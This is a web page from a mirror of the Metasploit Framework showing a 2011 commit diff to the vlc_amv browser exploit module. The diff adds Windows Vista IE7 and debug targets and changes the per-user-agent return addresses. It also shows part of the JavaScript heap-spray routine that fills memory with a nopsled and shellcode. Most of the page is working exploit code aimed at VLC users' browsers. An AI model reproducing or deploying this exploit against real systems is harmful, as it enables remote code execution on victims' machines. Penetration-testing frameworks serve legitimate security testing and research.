infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added Win Vista and debug target 

git-svn-id: file:///home/svn/framework3/trunk@12153 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-03-26 23:22:51 +00:00
parent d18f14de4e
commit 25ca59b56f
1 changed files with 9 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
modules/exploits/windows/browser/vlc_amv.rb
View File

@ -59,6 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'Automatic', {} ],
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],
[ 'Windows Vista IE7', {'Ret'=>0x0c0c0c0c} ],
[ 'Debug', {'Ret'=>0xCCCCCCCC} ],
],
'DisclosureDate' => "Mar 23 2011",
'DefaultTarget' => 0))
@ -70,15 +72,16 @@ class Metasploit3 < Msf::Exploit::Remote
agent = request.headers['User-Agent']
case agent
when /MSIE 6\.0/
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
return [0x0c0c0c0c].pack('V') * 8
when /MSIE 7\.0/
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
return [0x1c1c1c1c].pack('V') * 8
when /^vlc/
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
return [0x0c0c0c0c].pack('V') * 8
elsif agent =~ /^vlc/
#VLC identifies itself as "VLC" when requesting our trigger file
return ""
when /^NSPlayer/
elsif agent =~ /^NSPlayer/
#NSPlayer is also used while requesting the trigger file
return ""
else
@ -137,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
var #{js_var_shell_name} = unescape("#{shellcode}");
var #{js_var_nopsled_name} = unescape("#{nopsled}");
do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000);
for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) {
for (#{js_var_index_name}=0; #{js_var_index_name} < 3000; #{js_var_index_name}++) {
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name};
}
}